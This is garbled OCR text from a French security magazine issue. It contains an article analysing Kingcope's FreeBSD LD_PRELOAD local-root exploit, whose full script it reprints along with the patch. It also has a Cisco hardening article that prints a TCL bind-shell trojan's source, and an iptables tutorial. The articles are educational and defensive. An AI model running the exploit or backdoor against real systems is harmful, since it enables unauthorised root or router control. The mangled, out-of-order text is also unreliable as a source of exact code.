Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 14: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

